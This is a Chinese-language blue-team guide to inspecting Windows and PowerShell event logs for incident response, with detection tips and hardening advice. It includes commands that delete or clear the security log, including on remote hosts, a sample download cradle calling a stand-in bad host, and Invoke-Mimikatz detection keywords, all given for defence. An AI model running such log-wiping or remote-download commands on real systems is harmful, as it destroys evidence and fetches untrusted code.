WindowsPowerShell安全檢查和分析
1.PowerShell與Windwos日志:
Windows應急響應處置工作,必須掌握日志的操作與備份等,才能在遇到安全事件后,第一時間定位攻擊位置,提出修復方案。
<1>.列出事件日志列表:Get-Eventlog -List
<2>.查看security日志:Get-Eventlog -LogName security
<3>.列出最近幾條的日志:Get-EventLog -LogName security -Newest 5 //最近5條日志
<4>.列出指定時間段內的日志:Get-EventLog -LogName security -After 2019-5-25 -Before 2019-6-1
<5>.根據事件ID列出日志:
Get-EventLog -LogName security -InstanceId 4624 //ID:4624,已成功登錄帳戶,登錄成功的日志
Get-EventLog Security -InstanceId 4624,4625 //ID:4625,帳戶登錄失敗
<6>.獲取某一條事件日志通過index關鍵字段進行獲取,具體的日志信息:Get-EventLog -LogName security -Index 4624
<7>.查看此條日志的一些屬性:
當一條日志被獲取后,我們可完全將它看作是一個對象,可直接操作:
$log = Get-EventLog -LogName security -Index 4624
類型:$log.EntryType
事件ID:$log.InstanceId
日志消息:$log.Message
事件源:$log.Source
日志產生時間:$log.TimeGenerated
產生日志的用戶:$log.UserName
<8>.刪除事件日志:
Remove-Eventlog,包括注銷事件源;
Remove-EventLog -LogName security;
Remove-EventLog -Source app:注銷事件源后,app將無法寫入事件日志。
<9>.清除日志:
Clear-Eventlog -LogName security 僅僅清除日志;
Clear-Eventlog -LogName security -computername localhost, Server-Police 清除遠程主機上面的日志
<10>.Get-EventLog -LogName system -Source user32 //來源為USER32 的系統日志;
<11>.Get-EventLog -LogName system -Source user32 | group EventID //按EventID將事件進行分組;
<12>.Get-EventLog -LogName system -Source user32 -Newest 1 | fl * //Format-List cmdlet來格式化輸出,fl是Format-List 的別名;
<13>.Get-EventLog -LogName system -Source user32 | Select TimeGenerated, Message //只對關機事件的生成時間(TimeGenerated)和消息(Message)感興趣;
<14>.Get-EventLog -LogName system -Source user32 | Select TimeGenerated, Message | sort message //按關機事件的發起進程分類排序;
<15>.Get-EventLog -LogName system -Source user32 | Select TimeGenerated, Message | sort message | ft -Wrap//Message 列的輸出太長,需要整理。
2.PowerShell日志記錄:
<1>.PowerShell提供事件記錄功能,可以協助藍隊對相關攻擊事件推斷和關聯性分析;在執行任何PowerShell命令或腳本時,無論是本地還是通過遠程處理,Windows都可以將事件寫入以下三個日志文件:
Windows PowerShell.evtx;
Microsoft-Windows-PowerShell/Operational.evtx;
Microsoft-Windows-PowerShell/Analytic.etl;
<2>.由於PowerShell通過Windows遠程管理(WinRM)服務實現其遠程處理功能,因此以下兩個事件日志還捕獲遠程PowerShell活動:
Microsoft-Windows-WinRM/Operational.evtx;
Microsoft-Windows-WinRM/Analytic.etl;
<3>.Analytic日志記錄了更多的信息,可定位錯誤發生位置,但Analytic日志如果啟用(默認情況下禁用)在生產環境中將產生大量記錄數據,可能會妨礙實際分析。
wevtutil Set-Log "Microsoft-Windows-PowerShell/Analytic" /q:true /e:true(打開analytic)
wevtutil Get-Log "Microsoft-Windows-PowerShell/Analytic"(讀取日志內容)
在“事件查看器”中查看日志:搜索“cmd”,以管理員身份打開Windows命令行界面-->輸入“eventvwr.msc”打開日志查看器-->后續操作如圖:
<4>.Windows PowerShell日志:
事件ID及其對應的內容:
事件ID 400:引擎狀態從無更改為可用,記錄任何本地或遠程PowerShell活動的開始;
事件ID 600:記錄類似“WSMan”等提供程序在系統上進行PowerShell處理活動的開始,e.g.:Provider WSMan IsStarted;
事件ID 403:引擎狀態從可用狀態更改為停止,記錄PowerShell活動結束;
EID 400、EID 403事件:
記錄包括HostName字段。
如果在本地執行,則字段將記錄為HostName = ConsoleHost。
如果使用PowerShell遠程處理,則訪問的系統將使用HostName = ServerRemoteHost記錄事件。
通過上述事件日志,分析確定PowerShell會話持續時間以及本地運行或遠程運行。
Analytic分析日志:
分析日志須開啟才可捕獲事件,且用於故障排除,不是長期安全審計。處於活動狀態時,涉及遠程命令執行安全相關事件ID:
事件ID 32850:遠程處理進行身份驗證的帳戶;
事件ID 32867/32868:記錄在PowerShell遠程處理期間進行的每個PowerShell輸入和輸出對象,包括協議、版本協商、命令I/O對象在表示為“有效負載數據”的字段中存儲為XML編碼的十六進制字符串,並且到期長度通常在多個日志消息中分段。
事件ID 142:如果遠程服務器禁用了WinRM,則客戶端在嘗試啟動遠程Shell連接時將產生該記錄。
<5>.檢查和分析PowerShell日志時,應重點關注的活動:
通過.Net下載 (New-Object Net.WebClient.DownloadString('http://bad.usa.hold'));
Invoke-Expression或者iex;
BITS的活動;
計划任務的創建或刪除;
PowerShell的遠程連接功能。
<6>.檢測PowerShell攻擊代碼的最佳方法是查找代碼關鍵指示符.
Invoke-Mimikatz事件日志關鍵詞:
“System.Reflection.AssemblyName”
“System.Reflection.Emit.AssemblyBuilderAccess”
“System.Runtime.InteropServices.MarshalAsAttribute”
“TOKEN_PRIVILEGES”
“SE_PRIVILEGE_ENABLED”
<7>.對於混淆的PowerShell來說,應該開發自定義規則:
查找大量的括號{};
尋找大量的引號";
這兩種方法都被大量使用在混淆技術中,通常被惡意代碼、木馬或普通管理員使用。
3、PowerShell企業安全建議:
企業中如無PowerShell管理工具使用需求場景,可考慮配置禁用或限制相應的權限和功能。
針對企業而言,攻擊者利用PowerShell結合釣魚郵件實施的Office宏攻擊也會帶來嚴重的安全威脅。企業可默認禁用Office宏功能,以阻斷攻擊入口。
企業應及時修復系統安全漏洞和應用程序安全漏洞,防止被黑客利用執行遠程代碼攻擊,從而阻斷攻擊入口。
PowerShell通常還會結合WMI啟動項進一步實現長期無文件駐留,可使用Autoruns之類的工具查看是否有可疑啟動項並加以清理。
企業可定期監控系統中模塊活動和網絡流量,進一步發現異常信息排除安全威脅。
在正常情況下,通過使用AppLocker+Device Guard可以防止普通用戶使用PowerShell。Device Guard也適用於Windows 10和Windows Server 2016,可以通過利用支持的高級硬件功能來加強受約束的語言模式和應用白名單。.